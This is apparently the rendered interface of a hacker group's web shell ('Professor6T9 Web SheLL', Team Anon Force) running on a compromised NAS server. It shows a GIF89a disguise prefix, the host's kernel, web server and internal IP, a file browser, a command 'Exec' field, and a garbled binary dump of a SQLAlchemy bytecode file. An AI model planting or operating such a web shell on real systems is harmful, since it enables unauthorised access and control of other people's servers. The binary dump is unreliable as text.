GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
ext
/
declarative
/
__pycache__
[ HOME ]
Exec
Submit
base.cpython-38.pyc
U �}�h]} � @ s� d Z ddlZddlZddlmZ ddlmZ ddlmZ ddlmZ dd lm Z dd l mZ ddl mZ ddl m Z ddl mZ dd l mZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddl mZ d a a!dd� Z"dd� Z#dd� Z$d2dd �Z%d!d"� Z&d#d$� Z'G d%d&� d&e(�Z)G d'd(� d(e)�Z*d)d*� Z+d+d,� Z,d-d.� Z-d/e-_.d0d1� Z/dS )3z(Internal implementation for declarative.� N)�instrumentation� )�clsregistry� )�event)�exc)�util)�class_mapper)�mapper)� mapperlib)�synonym)�QueryableAttribute)�_is_mapped_class)�InspectionAttr)�MapperProperty)�ColumnProperty)�CompositeProperty)�Column)�Table)� expression)�topologicalc C s0 t �| �rt �| �S t| �r(t| dd�S d S d S )NF)� configure)�_DeferredMapperConfig�has_cls�config_for_clsr r ��cls� r �F/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/ext/declarative/base.py�_declared_mapping_info% s r c C s^ | t krd S t| ddd�rB| jD ]}t|�}|d k r | S q d S t| �}|d k rV|S | S d S )N�__abstract__T��strict)�object�_get_immediate_cls_attr� __bases__�"_resolve_for_abstract_or_classical�"_dive_for_classically_mapped_class)r �supZ classicalr r r r&